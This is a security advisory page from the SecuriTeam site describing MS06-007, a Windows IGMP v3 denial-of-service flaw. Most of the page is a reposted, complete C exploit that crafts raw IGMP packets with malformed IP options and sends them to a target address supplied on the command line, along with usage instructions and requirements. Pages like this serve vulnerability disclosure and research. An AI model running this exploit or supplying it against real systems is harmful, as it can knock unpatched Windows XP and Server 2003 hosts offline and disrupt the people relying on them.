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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	IGMP v3 DoS (MS06-007, Exploit) 22 Mar. 2006    Summary The Internet Group Management Protocol (IGMP) is a communications protocol used to manage the membership of Internet Protocol multicast groups. IGMP is used by IP hosts and adjacent multicast routers to establish multicast group memberships. It is an integral part of the IP multicast specification, like ICMP for unicast connections. A specially crafted IGMP packet sent to a vulnerable system could create a denial of service situation and cause the system to stop responding.   Credit: The original article can be found at: http://www.milw0rm.com/exploits/1599 Related articles: TCP/IP IGMP DoS (MS06-007) http://www.microsoft.com/technet/security/Bulletin/MS06-007.mspx Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner /*         IGMP v3 DoS Exploit         ref: http://www.juniper.net/security/auto/vulnerabilities/vuln2866.html         ref: http://www.microsoft.com/technet/security/Bulletin/MS06-007.mspx         by Alexey Sintsov (dookie@inbox.ru)         Req:                 Administrator rights on system                 Windows Firewall off (for sending RAW packets)         Affected Products:                 Microsoft Corporation Windows XP All                 Microsoft Corporation Windows Server 2003 All  */ #include <stdio.h> #include <winsock2.h> #pragma comment(lib, "Ws2_32.lib") typedef struct iphdr {         unsigned char verlen; // IP version & length         unsigned char tos; // Type of service         unsigned short total_len; // Total length of the packet         unsigned short ident; // Unique identifier         unsigned short frag_and_flags; // Flags         unsigned char ttl; // Time to live         unsigned char proto; // Protocol (TCP, UDP etc)         unsigned short checksum; // IP checksum         unsigned int sourceIP; // Source IP         unsigned int destIP; // Destination IP         unsigned short options[2]; } IPHEADER; typedef struct igmphdr {           unsigned char type;           unsigned char code;                   unsigned short checksum;                   unsigned long group;                   unsigned char ResvSQVR;                   unsigned char QQIC;                   unsigned short num;                   unsigned long addes;  } IGMPHEADER; USHORT checksum(USHORT *buffer, int size) {     unsigned long cksum=0;     while (size > 1) {         cksum += *buffer++;         size -= sizeof(USHORT);     }     if (size)         cksum += *(UCHAR*)buffer;     cksum = (cksum >> 16) + (cksum & 0xffff);     cksum += (cksum >>16);     return (USHORT)(~cksum); } int sendIGMP(char* a, char* b) {         unsigned int dst_addr, src_addr;         IPHEADER ipHeader;         IGMPHEADER igmpHeader;         dst_addr=inet_addr (b);         src_addr=inet_addr (a);         char szSendBuf[60]={0};         int rect;         WSADATA WSAData;         if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)                 return FALSE;         SOCKET sock;         if ((sock = WSASocket(AF_INET,SOCK_RAW,                 IPPROTO_RAW,NULL,0, 0x01)) == INVALID_SOCKET) {                 printf("Create socket error");                 WSACleanup();                 return FALSE;         }         BOOL flag=TRUE;         if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag)) == SOCKET_ERROR) {                 printf("Set options error");                 closesocket(sock);                 WSACleanup();                 return FALSE;         }         SOCKADDR_IN ssin;         memset(&ssin, 0, sizeof(ssin));         ssin.sin_family=AF_INET;         ssin.sin_port=htons(99);         ssin.sin_addr.s_addr=dst_addr;         ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));         ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));         ipHeader.ident=htons(0);         ipHeader.frag_and_flags=0;         ipHeader.ttl=128;         ipHeader.proto=IPPROTO_IGMP;         ipHeader.checksum=0;         ipHeader.tos=0;         ipHeader.destIP=dst_addr;         ipHeader.sourceIP=src_addr;         //Ip options         ipHeader.options[0]=htons(0x0000); //bug is here =)         ipHeader.options[1]=htons(0x0000);         igmpHeader.type=0x11; //v3 Membership Query         igmpHeader.code=5;         igmpHeader.num=htons(1);         igmpHeader.ResvSQVR=0x0;         igmpHeader.QQIC=0;         igmpHeader.group=inet_addr("0.0.0.0");         igmpHeader.addes=dst_addr;         igmpHeader.checksum=0;         memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));         igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));         memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));         memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));         memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);         ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(igmpHeader)));         memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));         rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin, sizeof(ssin));         if (rect==SOCKET_ERROR) {                 printf("Send error: <%d>\n",WSAGetLastError());         closesocket(sock);                 WSACleanup();                 return 0;         }         closesocket(sock);         WSACleanup();         return 1; } main(int argc, char **argv) {         if(argc<2)         {                 printf("\nIGMP v3 DoS Exploit (MS06-007) by Alexey Sintsov(dookie@inbox.ru)\n\n");                 printf("Usage:\n");                 printf("c:\\igmps.exe <target ip> <source ip>\n\n");                 exit(0);         }         sendIGMP(argv[2], argv[1]);         return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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